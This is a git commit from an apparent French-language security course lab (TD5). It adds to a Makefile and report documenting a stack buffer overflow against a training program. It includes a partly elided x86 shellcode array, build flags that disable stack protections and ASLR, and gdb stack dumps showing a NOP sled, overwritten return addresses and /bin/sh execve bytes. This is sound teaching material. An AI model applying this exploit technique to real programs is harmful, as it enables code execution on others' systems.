Modify TD5 to extract stack informations
Segfault on my machine...
This commit is contained in:
parent
dd60e51f37
commit
99e7388994
2 changed files with 107 additions and 4 deletions
|
@ -1,5 +1,5 @@
|
|||
CC = gcc
|
||||
CFLAGS = -Wall -Wextra -O0 -no-pie -lm -g -std=c99 -zexecstack
|
||||
# CC = gcc
|
||||
CFLAGS = -g -zexecstack
|
||||
SRC = $(wildcard *.c)
|
||||
TGT = $(subst .c,,$(SRC))
|
||||
BUILD_DIR = build
|
||||
|
@ -27,7 +27,7 @@ PHONY: gdb
|
|||
gdb: build/exploit build/anodin configure
|
||||
./$(BUILD_DIR)/exploit > hack.txt &
|
||||
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \
|
||||
setarch -R gdb ./$(BUILD_DIR)/anodin --command=$(subst gdb_,,$@).gdb
|
||||
setarch -R gdb ./$(BUILD_DIR)/anodin --command=anodin.gdb
|
||||
rm hack.txt
|
||||
|
||||
PHONY: clean
|
||||
|
|
|
@ -21,11 +21,114 @@ Effectivement le code vu en cours est repris dans cet exemple. Nous sommes
|
|||
cependant en présence de code *C* avec du code assembleur directement écrit en
|
||||
*hexadécimal*.
|
||||
|
||||
L'exploit est prévu pour fonctinner en assembleur x86_32 et x86_64 avec la
|
||||
présence d'une macro afin de positionner les instructions adaptée dans la
|
||||
variable `exploit`:
|
||||
|
||||
```c
|
||||
|
||||
unsigned char exploit[1024] = {
|
||||
|
||||
#ifdef __x86_64__
|
||||
/* 64 bit version */
|
||||
// [...]
|
||||
0x0f, 0x05, // system call!
|
||||
#else
|
||||
/* 32 bit version */
|
||||
// [...]
|
||||
0xcd, 0x80, // system call!
|
||||
#endif
|
||||
};
|
||||
```
|
||||
|
||||
|
||||
### question 4
|
||||
|
||||
Lors de l'execution de notre attache en l'observant avec gdb, nous pouvons
|
||||
clairement les éléments de notre attaque : les éléments de la pile contenant les
|
||||
adresses vers notre *shellcode*, les paffing avec des `nop` et le *shellcode*.
|
||||
adresses vers notre *shellcode*, les padding avec des `nop` et le *shellcode*.
|
||||
|
||||
Avant la saisir par l'utilisateur dans `anodin` voici la pile:
|
||||
|
||||
```
|
||||
0x7fffffffe540 0x00007fffffffe630
|
||||
0x7fffffffe538 0x00007ffff7dff18a
|
||||
0x7fffffffe530 0x0000000000000001
|
||||
0x7fffffffe528 ... 0x00007ffff7ffdad0
|
||||
0x7fffffffe520 arg3 0x0000000000000000
|
||||
0x7fffffffe518 arg2 0x00000001f7fe6e10
|
||||
0x7fffffffe510 arg1 0x00007fffffffe648
|
||||
0x7fffffffe508 ret@ 0x00005555555551e8
|
||||
0x7fffffffe500 bp 0x00007fffffffe530
|
||||
0x7fffffffe4f8 0x0000000000000000
|
||||
0x7fffffffe4f0 0x0000000000000000
|
||||
0x7fffffffe4e8 0x0000000000000000
|
||||
0x7fffffffe4e0 0x0000000000000000
|
||||
0x7fffffffe4d8 0x0000000000000000
|
||||
0x7fffffffe4d0 0x0000000000000040
|
||||
0x7fffffffe4c8 0x000000000000000c
|
||||
0x7fffffffe4c0 0x0000000000000000
|
||||
0x7fffffffe4b8 0x0000000000000040
|
||||
0x7fffffffe4b0 sp 0x0000000000000004
|
||||
0x7fffffffe4a8 0x000055555555518c
|
||||
0x7fffffffe4a0 0x0000000000000000
|
||||
0x7fffffffe498 0x00007ffff7ffe2e0
|
||||
0x7fffffffe490 0x00007fffffffe648
|
||||
0x7fffffffe488 0x0000000000000800
|
||||
0x7fffffffe480 0x0000000000000000
|
||||
0x7fffffffe478 0x0000000000000000
|
||||
0x7fffffffe470 0x0000000000000000
|
||||
0x7fffffffe468 0x0000000000000000
|
||||
0x7fffffffe460 0x0000000000000000
|
||||
0x7fffffffe458 0x0000000000000000
|
||||
0x7fffffffe450 0x0000000000000000
|
||||
0x7fffffffe448 0x800000000000000e
|
||||
0x7fffffffe440 0x0000000000000002
|
||||
0x7fffffffe438 0x0000000301000000
|
||||
0x7fffffffe430 0x0000000000000000
|
||||
```
|
||||
|
||||
Après la saisir l'utilisateur, et donc **l'injection du code par `exploit`** la
|
||||
pile a un tout autre aspect. On voit bien l'action de la "*mitraillette*" sur
|
||||
le bas de la pile avec l'adresse de retour.
|
||||
|
||||
```
|
||||
0x7fffffffe540 0x0000000000000000
|
||||
0x7fffffffe538 0x0000000000000000
|
||||
0x7fffffffe530 0x0000000000000000
|
||||
0x7fffffffe528 0x00007fa4796f5e18
|
||||
0x7fffffffe520 0x00007fa4796f5e18
|
||||
0x7fffffffe518 0x00007fa4796f5e18
|
||||
0x7fffffffe510 0x00007fa4796f5e18
|
||||
0x7fffffffe508 ret@ 0x00007fa4796f5e18
|
||||
0x7fffffffe500 bp 0x00007fa4796f5e18
|
||||
0x7fffffffe4f8 0x00000000796f5e18
|
||||
0x7fffffffe4f0 0x00007fa4796f5e18
|
||||
0x7fffffffe4e8 0x0000000000000000
|
||||
0x7fffffffe4e0 0x0000000000000000
|
||||
0x7fffffffe4d8 0x050fe6894857e289
|
||||
0x7fffffffe4d0 0x48006a0000003bc0
|
||||
0x7fffffffe4c8 0xc7485f0068732f6e
|
||||
0x7fffffffe4c0 0x69622f00000008e8
|
||||
0x7fffffffe4b8 0x9090909090909090
|
||||
0x7fffffffe4b0 sp 0x9090909090909090
|
||||
0x7fffffffe4a8 0x00005555555551cc
|
||||
0x7fffffffe4a0 0x0000000000000003
|
||||
0x7fffffffe498 0x00007ffff7e153f0
|
||||
0x7fffffffe490 0x00007ffff7ffd020
|
||||
0x7fffffffe488 0x0000555555557dd8
|
||||
0x7fffffffe480 0x00007fffffffe658
|
||||
0x7fffffffe478 0x0000000000000000
|
||||
0x7fffffffe470 0x00007fffffffe500
|
||||
0x7fffffffe468 0x00007fffffffe648
|
||||
0x7fffffffe460 0x00007ffff7ffd020
|
||||
0x7fffffffe458 0x0000000055557dd8
|
||||
0x7fffffffe450 0x0000000000000000
|
||||
0x7fffffffe448 0x00007fffffffe4b0
|
||||
0x7fffffffe440 0x00007ffff7faaa80
|
||||
0x7fffffffe438 0x00007fffffffe4b0
|
||||
0x7fffffffe430 0x00007ffff7dd5740
|
||||
```
|
||||
|
||||
On voit aussi apparaitre notre *Instruction Pointer* dans la pile lorsque notre
|
||||
shellcode est exécuté. Les différents paramètres pour **l'appel système** se
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue